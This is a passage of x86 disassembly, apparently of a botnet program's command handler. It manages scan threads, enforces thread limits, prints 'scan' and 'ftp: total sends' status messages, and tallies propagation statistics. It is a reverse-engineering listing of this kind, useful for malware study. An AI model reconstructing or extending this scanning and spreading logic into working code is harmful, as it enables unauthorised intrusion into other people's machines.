		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_422480	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4224B0	proc near		; CODE XREF: sub_401B7Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019AB
		mov	ecx, eax
		call	sub_4018E8
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E60
		push	esi
		mov	ecx, edi
		call	sub_4021B7
sub_4224B0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422570	proc near		; CODE XREF: sub_4010EBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422590	proc near		; CODE XREF: sub_4020BDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_422590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4225C0	proc near		; CODE XREF: sub_4018E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436872
sub_4225C0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4225E0	proc near		; CODE XREF: sub_4013DEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401ED3
		add	esp, 8
		retn	8
sub_4225E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422610	proc near		; CODE XREF: sub_4018EDj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_422610	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422630	proc near		; CODE XREF: sub_4018E8j
		mov	eax, [ecx]
		retn
sub_422630	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422650	proc near		; CODE XREF: sub_4019ABj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40182A
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_422650	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422680	proc near		; CODE XREF: sub_401631j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401A78
		pop	ecx
		retn	4
sub_422680	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226A0	proc near		; CODE XREF: sub_401E60j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401F9B
		pop	ecx
		retn	4
sub_4226A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226C0	proc near		; CODE XREF: sub_401A2Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4226DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4226DB:				; CODE XREF: sub_4226C0+11j
		retn
sub_4226C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4226F0	proc near		; CODE XREF: sub_40201Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4226F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	19h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_422731
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_401677


loc_422731:				; CODE XREF: sub_4226F0+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4226F0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422780	proc near		; CODE XREF: sub_401ED3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_422780
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+10h+arg_0]
		push	eax
		push	15h
		call	sub_4011CC
		add	esp, 8
		mov	[esp+10h+var_10], eax
		test	eax, eax
		mov	[esp+10h+var_4], 0
		jz	short loc_4227C1
		mov	ecx, [esp+10h+arg_4]
		push	ecx
		mov	ecx, eax
		call	sub_4014C9


loc_4227C1:				; CODE XREF: sub_422780+33j
		mov	ecx, [esp+10h+var_C]
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_422780	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4227F0	proc near		; CODE XREF: sub_401A78j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		call	sub_4019BA
		retn
sub_4227F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422810	proc near		; CODE XREF: sub_401F9Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	0
		mov	eax, [ecx]
		call	dword ptr [eax]
		retn
sub_422810	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422830	proc near		; CODE XREF: sub_401677j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		push	edi
		call	sub_4014C9
		mov	eax, [edi+15h]
		pop	edi
		mov	[esi+15h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_422830	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422860	proc near		; CODE XREF: sub_4019BAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_422878
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_422878:				; CODE XREF: sub_422860+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_422860	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422890	proc near		; CODE XREF: sub_401AE1j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_422890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	9
		push	3
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+60h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		mov	dword_4D5F7B, offset aAsn ; "asn"
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+8D008h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_422890	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	edx, [esp+2Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+8D036h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	0Eh
		push	1
		push	3
		lea	ecx, [esp+2Ch]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+8D064h]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	16h
		push	4
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8D092h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	14h
		push	1
		push	14h
		push	13h
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+44h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8D0C0h
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422AE0	proc near		; CODE XREF: sub_40138Ej

var_78D		= byte ptr -78Dh
var_78C		= dword	ptr -78Ch
var_788		= byte ptr -788h
var_780		= dword	ptr -780h
var_770		= byte ptr -770h
var_760		= byte ptr -760h
var_6E0		= byte ptr -6E0h
var_660		= dword	ptr -660h
var_65C		= dword	ptr -65Ch
var_658		= dword	ptr -658h
var_654		= dword	ptr -654h
var_650		= dword	ptr -650h
var_644		= dword	ptr -644h
var_640		= dword	ptr -640h
var_638		= dword	ptr -638h
var_634		= dword	ptr -634h
var_630		= dword	ptr -630h
var_624		= byte ptr -624h
var_60C		= byte ptr -60Ch
var_40C		= byte ptr -40Ch
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_422AE0
		push	eax
		mov	large fs:0, esp
		sub	esp, 784h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+79Ch+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+8D008h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422BAA
		push	3
		call	sub_401483
		add	esp, 4
		test	eax, eax
		jle	short loc_422B7D
		push	3
		call	sub_401D8E
		mov	eax, dword_50BB40[eax*8]
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB3F41h
		push	eax
		push	offset aScanCipS ; "scan: cip (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h
		mov	al, 1
		jmp	loc_422EDB
; ---------------------------------------------------------------------------


loc_422B7D:				; CODE XREF: sub_422AE0+52j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	offset aScanNotStarted ; "scan:	not started"
		push	edx
		push	eax
		mov	ecx, offset byte_4D6065
		call	sub_401118
		mov	al, 1
		jmp	loc_422EDB
; ---------------------------------------------------------------------------


loc_422BAA:				; CODE XREF: sub_422AE0+40j
		lea	ecx, [ebp+8D0C0h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422C50
		mov	edi, dword_4D6360
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	ebx, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		cmp	edi, ebx
		jl	loc_42325D
		mov	edx, dword_44763F
		push	edi
		push	edx
		push	offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 1Ch
		mov	al, 1
		jmp	loc_422EDB
; ---------------------------------------------------------------------------


loc_422C50:				; CODE XREF: sub_422AE0+DFj
		lea	ecx, [ebp+8D064h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_422CD0
		push	eax
		push	3
		call	sub_401D93
		add	esp, 8
		test	eax, eax
		jle	short loc_422CA5
		push	eax
		push	offset aScanStoppedDTh ; "scan:	stopped	(%d threads)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h
		jmp	loc_422ED9
; ---------------------------------------------------------------------------


loc_422CA5:				; CODE XREF: sub_422AE0+194j
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aScanCouldnTSto ; "scan:	couldn't stop"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6065
		call	sub_401118
		jmp	loc_422ED9
; ---------------------------------------------------------------------------


loc_422CD0:				; CODE XREF: sub_422AE0+185j
		lea	ecx, [ebp+8D036h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_422D7E
		push	3
		call	sub_401483
		add	esp, 4
		mov	ebx, eax
		lea	eax, [esp+7A0h+var_788]
		mov	ecx, esi
		push	offset asc_443600 ; " "
		push	2
		push	eax
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 1
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	eax, ebx
		add	esp, 4
		cmp	eax, 1F4h
		lea	ecx, [esp+7A0h+var_788]
		setnle	[esp+7A0h+var_78D]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, [esp+7A0h+var_78D]
		test	al, al
		jz	loc_422EF6
		push	ebx
		push	offset aScanTooManyThr ; "scan:	too many threads (%s)"
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 18h


loc_422D7E:				; CODE XREF: sub_422AE0+20Bj
		lea	ecx, [ebp+8D092h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_422ED9
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_624]
		push	1
		push	eax
		mov	ecx, esi
		xor	ebx, ebx
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 0Ah
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_624]
		mov	edi, eax
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, dword_444400
		mov	[esp+7A0h+var_78D], bl
		test	eax, eax
		jz	short loc_422E09
		mov	eax, offset dword_444400


loc_422DF5:				; CODE XREF: sub_422AE0+327j
		cmp	[eax+8], edi
		jb	short loc_422DFF
		mov	[esp+7A0h+var_78D], 1


loc_422DFF:				; CODE XREF: sub_422AE0+318j
		mov	ecx, [eax+3Ch]
		add	eax, 3Ch
		test	ecx, ecx
		jnz	short loc_422DF5


loc_422E09:				; CODE XREF: sub_422AE0+30Ej
		mov	ebp, off_50FBF0
		lea	ecx, [esp+7A0h+var_60C]
		push	offset aScanStats ; "scan: stats:"
		push	ecx
		call	ebp ; sub_63125E
		mov	eax, dword_444400
		add	esp, 8
		test	eax, eax
		jz	short loc_422E6F
		mov	edi, offset dword_444408


loc_422E2F:				; CODE XREF: sub_422AE0+38Dj
		mov	eax, [edi]
		lea	edx, [edi-26h]
		add	ebx, eax
		push	eax
		push	edx
		lea	eax, [esp+7A8h+var_40C]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	ebp ; sub_63125E
		lea	ecx, [esp+7B0h+var_40C]
		push	200h
		lea	edx, [esp+7B4h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	eax, [edi+34h]
		add	edi, 3Ch
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422E2F


loc_422E6F:				; CODE XREF: sub_422AE0+348j
		push	ebx
		lea	eax, [esp+7A4h+var_40C]
		push	offset aTotalD	; " total: %d"
		push	eax
		call	ebp ; sub_63125E
		lea	ecx, [esp+7ACh+var_40C]
		push	200h
		lea	edx, [esp+7B0h+var_60C]
		push	ecx
		push	edx
		nop
		call	near ptr 77C47920h
		mov	al, [esp+7B8h+var_78D]
		add	esp, 18h
		test	al, al
		jz	short loc_422EC9
		xor	eax, eax
		lea	ecx, [esp+7A0h+var_60C]
		mov	al, [esi+94h]
		push	eax
		push	ecx
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	0
		call	sub_401523
		add	esp, 10h


loc_422EC9:				; CODE XREF: sub_422AE0+3C3j
		lea	edx, [esp+7A0h+var_60C]
		push	edx
		call	sub_4010D2
		add	esp, 4


loc_422ED9:				; CODE XREF: sub_422AE0+1C0j
					; sub_422AE0+1EBj ...
		xor	al, al


loc_422EDB:				; CODE XREF: sub_422AE0+98j
					; sub_422AE0+C5j ...
		mov	ecx, [esp+7A0h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 790h
		retn	4
; ---------------------------------------------------------------------------


loc_422EF6:				; CODE XREF: sub_422AE0+26Ej
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		or	ebx, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_65C], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, 3
		mov	ecx, eax
		mov	[esp+7A0h+var_4], ebp
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_644], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	ebp
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_658], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	eax, [esp+7A0h+var_658]
		cmp	eax, ebp
		jnb	short loc_422FD3
		mov	[esp+7A0h+var_658], ebp
		jmp	short loc_422FE3
; ---------------------------------------------------------------------------


loc_422FD3:				; CODE XREF: sub_422AE0+4E8j
		cmp	eax, 3Ch
		jbe	short loc_422FE3
		mov	[esp+7A0h+var_658], 3Ch


loc_422FE3:				; CODE XREF: sub_422AE0+4F1j
					; sub_422AE0+4F6j
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 5
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_654], eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		mov	ecx, [esp+7A0h+var_654]
		mov	eax, 960h
		cmp	ecx, eax
		jbe	short loc_42303C
		mov	[esp+7A0h+var_654], eax


loc_42303C:				; CODE XREF: sub_422AE0+553j
		mov	eax, dword_444400
		mov	[esp+7A0h+var_640], ebx
		test	eax, eax
		mov	[esp+7A0h+var_78C], 0
		jz	loc_42310C
		mov	ebp, offset dword_444400
		jmp	short loc_423062
; ---------------------------------------------------------------------------


loc_42305F:				; CODE XREF: sub_422AE0+602j
		or	ebx, 0FFFFFFFFh


loc_423062:				; CODE XREF: sub_422AE0+57Dj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+7A4h+var_788]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 6
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [ebp-28h]


loc_42308C:				; CODE XREF: sub_422AE0+5CAj
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_4230B0
		test	al, al
		jz	short loc_4230AC
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_4230B0
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42308C


loc_4230AC:				; CODE XREF: sub_422AE0+5B6j
		xor	eax, eax
		jmp	short loc_4230B4
; ---------------------------------------------------------------------------


loc_4230B0:				; CODE XREF: sub_422AE0+5B2j
					; sub_422AE0+5C0j
		sbb	eax, eax
		sbb	eax, ebx


loc_4230B4:				; CODE XREF: sub_422AE0+5CEj
		test	eax, eax
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	short loc_4230EA
		mov	edx, [esp+7A0h+var_78C]
		mov	eax, [ebp+3Ch]
		add	ebp, 3Ch
		inc	edx
		test	eax, eax
		mov	[esp+7A0h+var_78C], edx
		jnz	loc_42305F
		jmp	short loc_423109
; ---------------------------------------------------------------------------


loc_4230EA:				; CODE XREF: sub_422AE0+5EFj
		mov	ecx, [esp+7A0h+var_78C]
		mov	[esp+7A0h+var_640], ecx
		lea	eax, [ecx+ecx*2]
		lea	eax, [eax+eax*4]
		mov	edx, dword_444400[eax*4]
		mov	[esp+7A0h+var_65C], edx


loc_423109:				; CODE XREF: sub_422AE0+608j
		or	ebx, 0FFFFFFFFh


loc_42310C:				; CODE XREF: sub_422AE0+572j
		mov	eax, [esp+7A0h+var_65C]
		test	eax, eax
		jnz	short loc_42312A
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanInvalidPor ; "scan:	invalid	port"
		jmp	loc_423245
; ---------------------------------------------------------------------------


loc_42312A:				; CODE XREF: sub_422AE0+635j
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset dword_4437F8
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 7
		call	sub_4013E3
		lea	ecx, [esp+7A0h+var_788]
		mov	edi, eax
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		test	edi, edi
		jz	loc_423207
		push	offset asc_443600 ; " "
		lea	eax, [esp+7A4h+var_788]
		push	5
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+7A0h+var_4], 8
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+7A4h+var_770]
		push	10h
		push	ecx
		call	near ptr 77C3FA76h
		nop
		add	esp, 0Ch
		lea	ecx, [esp+7A0h+var_788]
		mov	[esp+7A0h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+7A4h+var_788]
		push	5
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	78h
		mov	ecx, eax
		mov	[esp+7A4h+var_4], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C47660h
		add	esp, 8
		lea	ecx, [esp+7A0h+var_788]
		neg	eax
		sbb	eax, eax
		mov	[esp+7A0h+var_4], ebx
		neg	eax
		mov	[esp+7A0h+var_630], eax
		call	sub_401226
		jmp	loc_423336
; ---------------------------------------------------------------------------


loc_423207:				; CODE XREF: sub_422AE0+688j
		push	offset dword_44453C
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_423264
		push	offset off_444538
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_423264
		push	offset off_444534
		mov	ecx, esi
		call	sub_4013E3
		test	eax, eax
		jnz	short loc_423264
		lea	ecx, [esi+2Ah]
		call	sub_4014D3
		push	eax
		push	offset aScanNoIpSpecif ; "scan:	no ip specified"


loc_423245:				; CODE XREF: sub_422AE0+645j
		mov	al, [esi+94h]
		mov	cl, [esi+93h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6065
		call	sub_401118


loc_42325D:				; CODE XREF: sub_422AE0+132j
		mov	al, 1
		jmp	loc_422EDB
; ---------------------------------------------------------------------------


loc_423264:				; CODE XREF: sub_422AE0+735j
					; sub_422AE0+745j ...
		mov	ecx, dword_4D607D
		lea	edx, [esp+7A0h+var_78C]
		lea	eax, [esp+7A0h+var_788]
		push	edx
		push	eax
		push	ecx
		mov	[esp+7ACh+var_78C], 10h
		call	near ptr 71AB951Eh
		nop
		push	offset off_444538
		mov	ecx, esi
		call	sub_4013E3
		mov	edx, eax
		mov	eax, [esp+79Ch+var_780]
		neg	edx
		sbb	edx, edx
		push	10h
		and	edx, 0FFFF0100h
		add	edx, 0FFFFh
		and	eax, edx
		push	eax
		mov	[esp+7A4h+var_780], eax
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+7A8h+var_770]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	ecx, esi
		push	offset dword_44453C
		call	sub_4013E3
		test	eax, eax
		jz	short loc_42332B
		push	offset off_444538
		mov	ecx, esi
		call	sub_4013E3
		mov	ebp, dword_50FA90
		mov	edi, eax
		neg	edi
		sbb	edi, edi
		lea	ecx, [esp+7A0h+var_770]
		neg	edi
		push	30h
		push	ecx
		add	edi, 2
		call	ebp	; strrchr
		add	esp, 8
		xor	bl, bl
		test	edi, edi
		jle	short loc_42331E


loc_423302:				; CODE XREF: sub_422AE0+83Cj
		test	eax, eax
		jz	short loc_42331E
		lea	edx, [esp+7A0h+var_770]
		push	30h
		push	edx
		mov	byte ptr [eax],	78h
		call	ebp	; strrchr
		add	esp, 8
		inc	bl
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_423302


